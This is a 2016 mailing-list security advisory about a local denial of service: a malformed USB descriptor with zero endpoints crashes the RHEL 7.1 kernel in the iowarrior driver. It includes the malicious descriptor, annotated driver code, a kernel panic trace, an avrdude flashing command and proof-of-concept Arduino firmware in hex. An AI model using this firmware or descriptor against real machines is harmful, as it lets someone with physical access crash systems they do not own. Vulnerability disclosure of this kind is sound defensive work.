Message-ID: <2450631.qofi7KVoap@kermit.spenneberg.net>
Date: Thu, 10 Mar 2016 18:58:24 +0100
From: Ralf Spenneberg <info@...t.de>
To: bugtraq@...urityfocus.com
Subject: oss-2016-15: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (iowarrior driver)

OS-S Security Advisory 2016-15
Linux iowarrior Nullpointer Dereference 	

Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS:  4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid 
USB device descriptors (iowarrior driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the 
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of advisory: https://os-s.net//advisories/OSS-2016-15_iowarrior.pdf

Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB 
device requiring the iowarrior driver.

Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes. 

Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo 
(github.com/schumilo) using the following device descriptor:

[*] Device-Descriptor
  bLength:			0x12
	  bDescriptorType:		0x1
	  bcdUSB:			0x200
	  bDeviceClass:			0x3
	  bDeviceSubClass:		0x0
	  bDeviceProtocol:		0x0
	  bMaxPacketSize:		0x40
	  idVendor:			0x7c0
	  idProduct:			0x1500
	  bcdDevice:			0x100
	  iManufacturer:			0x1
	  iProduct:			0x2
	  iSerialNumbers:			0x3
	  bNumConfigurations:		0x1





This is the configuration descriptor containing the malicious value for 
bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the 
system.






		[*] Configuration-Descriptor
		  bLength:			0x9
		  bDescriptorType:		0x2
		  wTotalLength:			0x27
		  bNumInterfaces:		0x1
		  bConfigurationValue:		0x1
		  iConfiguration:			0x0
		  bmAttributes:			0x0
		  bMaxPower:			0x31
			[*] Interface-Descriptor
			  bLength:			0x9
			  bDescriptorType:		0x4
			  bInterfaceNumber:		0x0
			  bAlternateSetting:		0x0
			  bNumEndpoints:		0x0
			  bInterfaceClass:			0x0
			  bInterfaceSubClass:		0x0
			  bInterfaceProtocol:		0x0
				[*] Endpoint-Descriptor:
				  bLength:			0x7
				  bDescriptorType:		0x5
				  bEndpointAddress:		0x81	
				  bmAttribut:			0x3	
				  wMaxPacketSize:		0x404
				  bInterval:			0xc
				[*] Endpoint-Descriptor:
				  bLength:			0x7
				  bDescriptorType:		0x5
				  bEndpointAddress:		0x1	
				  bmAttribut:			0x2	
				  wMaxPacketSize:		0x4
				  bInterval:			0xc
				[*] Endpoint-Descriptor:
				  bLength:			0x7
				  bDescriptorType:		0x5
				  bEndpointAddress:		0x82	
				  bmAttribut:			0x1
				  wMaxPacketSize:		0x4
				  bInterval:			0xc	

The iowarrior driver assumes that there will be at least one IN-endpoint-
descriptor.
If the interface-descriptor contains a zero-value for bNumEndpoints or no IN-
endpoint-descriptor is provided, the driver tries to dereference a null-
pointer and the kernel crashes:


****
$ nm iowarrior.ko.debug | grep iowarrior_probe
00000000000012a0 t iowarrior_probe
$ addr2line -e iowarrior.ko.debug 0x13D4
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/include/uapi/linux/usb/ch9.h:605
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (includes/uapi/linux/usb/ch9.c)
    ...
603 static inline int usb_endpoint_maxp(const struct usb_endpoint_descriptor 
*epd) /* used by iowarrior_probe */
604 {
605     return __le16_to_cpu(epd->wMaxPacketSize); /* Possible Nullpointer 
Dereference */
606 }

    ...
****


**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/misc/iowarrior.c)
    ...
790 /* set up the endpoint information */
791 for (i = 0; i < iface_desc->desc.bNumEndpoints; ++i) {
792     endpoint = &iface_desc->endpoint[i].desc;
793
794     if (usb_endpoint_is_int_in(endpoint))
795         dev->int_in_endpoint = endpoint; /* Nullpointer if never set */
796     if (usb_endpoint_is_int_out(endpoint))
797         /* this one will match for the IOWarrior56 only */
798         dev->int_out_endpoint = endpoint;
799 }
800 /* we have to check the report_size often, so remember it in the 
endianness suitable for our machine */
801 dev->report_size = usb_endpoint_maxp(dev->int_in_endpoint); /* Nullpointer 
if never set */
802 if ((dev->interface->cur_altsetting->desc.bInterfaceNumber == 0) &&
803     (dev->product_id == USB_DEVICE_ID_CODEMERCS_IOW56))
804     /* IOWarrior56 has wMaxPacketSize different from report size */
805     dev->report_size = 7;
    ...
****


Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This 
firmware will emulate the defective USB device.


avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U 
flash:w:binary.hex


The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to 
connect port D3 and 3V3!

Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, 
only physical access to the system is required.

Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
To this day, no security patch was provided by the vendor.
Since our 90-day Responsible Discourse deadline is expired, we publish this 
Security Advisory. 

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1283390


Kernel Stacktrace:


[   34.458988] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[   34.662073] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint 
descriptors, different from the interface descriptor's value: 0
[   34.694667] usb 1-1: New USB device found, idVendor=07c0, idProduct=1500
[   34.701412] usb 1-1: New USB device strings: Mfr=1, Product=2, 
SerialNumber=3
[   34.709475] usb 1-1: Product: ĉ
[   34.713214] usb 1-1: Manufacturer: ĉ
[   34.717062] usb 1-1: SerialNumber: %
[   34.779320] BUG: unable to handle kernel NULL pointer dereference at 
0000000000000004
[   34.780026] IP: [<ffffffffa03943d4>] iowarrior_probe+0x134/0x4a0 [iowarrior]
[   34.780026] PGD 0 
[   34.780026] Oops: 0000 [#1] SMP 
[   34.780026] Modules linked in: iowarrior(+) ip6t_rpfilter ip6t_REJECT 
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc 
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter 
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat 
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter 
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper 
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c 
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix 
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod
[   34.780026] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 
3.10.0-229.14.1.el7.x86_64 #1
[   34.780026] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[   34.780026] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[   34.780026] RIP: 0010:[<ffffffffa03943d4>]  [<ffffffffa03943d4>] 
iowarrior_probe+0x134/0x4a0 [iowarrior]
[   34.780026] RSP: 0018:ffff88000bd23b98  EFLAGS: 00010246
[   34.780026] RAX: 0000000000000000 RBX: ffff88000bd36600 RCX: 0000000000000000
[   34.780026] RDX: 0000000000000000 RSI: 0000000000001500 RDI: ffff88000bd36688
[   34.780026] RBP: ffff88000bd23be0 R08: 0000000000016460 R09: ffff88000e401700
[   34.780026] R10: ffffffffa03942d3 R11: ffffffff810020d8 R12: ffff88000c525800
[   34.780026] R13: ffff88000bcd0090 R14: ffff88000bcd0000 R15: ffff88000f508bc8
[   34.780026] FS:  00007fb8082b4880(0000) GS:ffff88000fc00000(0000) 
knlGS:0000000000000000
[   34.780026] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[   34.780026] CR2: 0000000000000004 CR3: 000000000c448000 CR4: 
00000000000006f0
[   34.780026] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 
0000000000000000
[   34.780026] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[   34.780026] Stack:
[   34.780026]  ffff88000c525830 ffff88000bd23be0 ffffffff813dfba2 ffff88000af01800
[   34.780026]  ffff88000bcd0090 ffff88000bcd0000 ffffffffa03960c8 ffff88000c525830
[   34.780026]  ffffffffa0395500 ffff88000bd23c28 ffffffff8141dc04 000000000bd23c00
[   34.780026] Call Trace:
[   34.780026]  [<ffffffff813dfba2>] ? __pm_runtime_set_status+0x132/0x210
[   34.780026]  [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[   34.780026]  [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[   34.780026]  [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[   34.780026]  [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[   34.780026]  [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[   34.780026]  [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[   34.780026]  [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0
[   34.780026]  [<ffffffff813d3b34>] driver_register+0x64/0xf0
[   34.780026]  [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160
[   34.780026]  [<ffffffffa0399000>] ? 0xffffffffa0398fff
[   34.780026]  [<ffffffffa039901e>] iowarrior_driver_init+0x1e/0x1000 [iowarrior]
[   34.780026]  [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[   34.780026]  [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[   34.780026]  [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[   34.780026]  [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[   34.780026]  [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[   34.780026]  [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[   34.780026] Code: 0c c8 0f b6 41 03 83 e0 03 3c 03 75 da 80 79 02 00 0f 88 
10 02 00 00 48 89 4b 40 41 0f b6 47 04 83 c2 01 39 d0 7f cc 48 8b 43 48 <0f> 
b7 40 04 89 83 c8 00 00 00 49 8b 44 24 08 80 78 02 00 0f 84 
[   34.780026] RIP  [<ffffffffa03943d4>] iowarrior_probe+0x134/0x4a0 [iowarrior]
[   34.780026]  RSP <ffff88000bd23b98>
[   34.780026] CR2: 0000000000000004
[   35.199537] ---[ end trace b239663354a1c556 ]---
[   35.205081] Kernel panic - not syncing: Fatal exception
[   35.206054] drm_kms_helper: panic occurred, switching back to text console



Arduino Leonardo Firmware:

:100000000C94A8000C94C5000C94C5000C94C50079
:100010000C94C5000C94C5000C94C5000C94C5004C
:100020000C94C5000C94C5000C94C2050C942D04CE
:100030000C94C5000C94C5000C94C5000C94C5002C
:100040000C94C5000C94C5000C94C5000C94C5001C
:100050000C94C5000C94C5000C94C5000C940C02C3
:100060000C94C5000C94C5000C94C5000C94C500FC
:100070000C94C5000C94C5000C94C5000C94C500EC
:100080000C94C5000C94C5000C94C5000C94C500DC
:100090000C94C5000C94C5000C94C5000C94C500CC
:1000A0000C94C5000C94C5000C94C50009030C0306
:1000B000FF0203032D032D032D0310031403180364
:1000C0001E0322032D0328030000000200080E0077
:1000D00000030401000B000000000000000000000D
:1000E00000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:100100001020404004040404040304050202020217
:1001100004030202020206060606060604040202A0
:100120000204000000002300260029002C002F00FC
:1001300000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E0EDF3E102C005900D92A436B107D5
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C
:10018000E1F70E94C8000C9402070C940000089547
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
:1001A000DEBF0FBECDBF0E949F020E94C70060E06D
:1001B00083E00E942E0361E087E00E942E0361E04D
:1001C00088E00E942E030E9457067E012AE9E20E73
:1001D000F11C84E093E0D70111969C938E9389E003
:1001E00094E013969C938E93129782E2E2E1F1E001
:1001F0009E012F5F3F4F6901D90101900D928A95B1
:10020000E1F788E1E4E3F1E0DE01939601900D92DD
:100210008A95E1F782E1ECE4F1E0DE01DB96019002
:100220000D928A95E1F789E0EEE5F1E0DE01A05953
:10023000BF4F01900D928A95E1F72A593F4F99E0FF
:10024000992ED901E92D1D92EA95E9F78E010957FA
:100250001F4F87E0E7E6F1E0D80101900D928A9503
:10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189
:1002700001900D928A95E1F7AE0147585F4F87E0F4
:10028000E5E7F1E0DA0101900D928A95E1F75E0170
:10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D
:1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172
:1002B0001D92EA95E9F7E3E0DC011996EC93F90168
:1002C0009082E4E0D9011196EC93F901DC01292D2B
:1002D00001900D922A95E1F7FE01EC56FF4FDC01EB
:1002E0001B96FC93EE931A971D96BC92AE921C97A8
:1002F0001183008373836283558344830C521109F5
:100300002CE0F80111922A95E9F721E0D80119961D
:100310002C931997FE01E059FF4F01900D929A948A
:10032000E1F7F8019387828761E088E00E94670324
:100330008BE492E00E94630688E892E00E946306E4
:1003400087EC92E00E94630686E093E00E946306D9
:1003500082E493E00E9463068FE793E00E946306C5
:1003600084EA93E00E9463068BEE93E00E946306AA
:1003700083E00E949D03892B09F047C05E01F3E2F0
:10038000AF0EB11C8824839482E1982E84E194E01E
:100390000E946306BF92AF92DF92CF92FF92EF92DC
:1003A0001F928F921F930F932DB73EB722513109A1
:1003B0000FB6F8943EBF0FBE2DBFADB7BEB71196B6
:1003C000FE01FB96892D01900D928A95E1F78DE64D
:1003D00095E00E94010668E873E180E090E00E94E9
:1003E00079028DE695E00E944C0660E087E00E946D
:1003F000670368E873E180E090E00E9479020FB63D
:10040000F894DEBF0FBECDBFC1CF6AE070E080E0E0
:1004100090E00E947902ACCF1F920F920FB60F921C
:1004200011242F933F938F939F93AF93BF9380910A
:10043000650590916605A0916705B09168053091BA
:10044000640523E0230F2D3720F40196A11DB11D73
:1004500005C026E8230F0296A11DB11D2093640557
:100460008093650590936605A0936705B093680532
:100470008091690590916A05A0916B05B0916C051A
:100480000196A11DB11D8093690590936A05A09303
:100490006B05B0936C05BF91AF919F918F913F9188
:1004A0002F910F900FBE0F901F9018953FB7F894A3
:1004B0008091690590916A05A0916B05B0916C05DA
:1004C00026B5A89B05C02F3F19F00196A11DB11DAF
:1004D0003FBF6627782F892F9A2F620F711D811DCC
:1004E000911D42E0660F771F881F991F4A95D1F72B
:1004F0000895CF92DF92EF92FF92CF93DF936B013B
:100500007C010E945602EB01C114D104E104F10404
:1005100079F00E9456026C1B7D0B683E7340A0F37D
:1005200081E0C81AD108E108F108C851DC4FECCFCE
:10053000DF91CF91FF90EF90DF90CF900895789466
:1005400084B5826084BD84B5816084BD85B58260D8
:1005500085BD85B5816085BDEEE6F0E08081816076
:100560008083E1E8F0E01082808182608083808176
:1005700081608083E0E8F0E0808181608083E1E950
:10058000F0E0808182608083808181608083E0E907
:10059000F0E0808181608083E1ECF0E08081846024
:1005A0008083808182608083808181608083E3ECAE
:1005B000F0E0808181608083E0ECF0E08081826007
:1005C0008083E2ECF0E0808181608083EAE7F0E004
:1005D000808184608083808182608083808181606B
:1005E0008083808180688083089590E0FC0131974A
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:1006300080919000877F8093900008958091C00002
:100640008F7703C08091C0008F7D8093C000089594
:100650008091C200877F8093C2000895CF93DF937B
:1006600090E0FC01EA51FF4F2491FC01EC5FFE4F4A
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:10068000FE4FA591B491805D9E4FFC01C591D49120
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:1006D0001F93CF93DF931F92CDB7DEB7282F30E063
:1006E000F901E853FF4F8491F901EA51FF4F14914A
:1006F000F901EC5FFE4F04910023C9F0882321F03B
:1007000069830E94F5026981E02FF0E0EE0FFF1F80
:10071000E05DFE4FA591B4919FB7F8948C91611163
:1007200003C01095812301C0812B8C939FBF0F9034
:10073000DF91CF911F910F910895CF93DF93282FD1
:1007400030E0F901E853FF4F8491F901EA51FF4F7E
:10075000D491F901EC5FFE4FC491CC2391F081114B
:100760000E94F502EC2FF0E0EE0FFF1FEE5DFE4F52
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:1007B000700590936F0580936E050895FF920F93D7
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:1007D0000E94A406F80120E030E08EEF2C173D07C0
:1007E00091F1F7FE02C0A49101C0A0816091700553
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:10087000CF92DF92EF92FF920F931F932F933F93AC
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:1008F000213009F41BC1853049F48091E80080FF64
:10090000FCCF8C8580688093E30010C1863009F0AD
:10091000E1C02D8508891989223009F0B3C0EC8423
:100920008E2D90E020917305309174058217930706
:100930000CF09FC00E94D3031F92EF928DE394E0CE
:100940009F938F930E9481068CE0E89E7001112492
:10095000E0917505F0917605EE0DFF1D89E0DE0151
:10096000119601900D928A95E1F7C8010E94D30378
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-- 
OpenSource Security Ralf Spenneberg         http://www.os-s.de
Am Bahnhof 3-5                          48565 Steinfurt         Germany
Fon:   +49(0)2552 638 755            Fax: +49(0)2552 638 757

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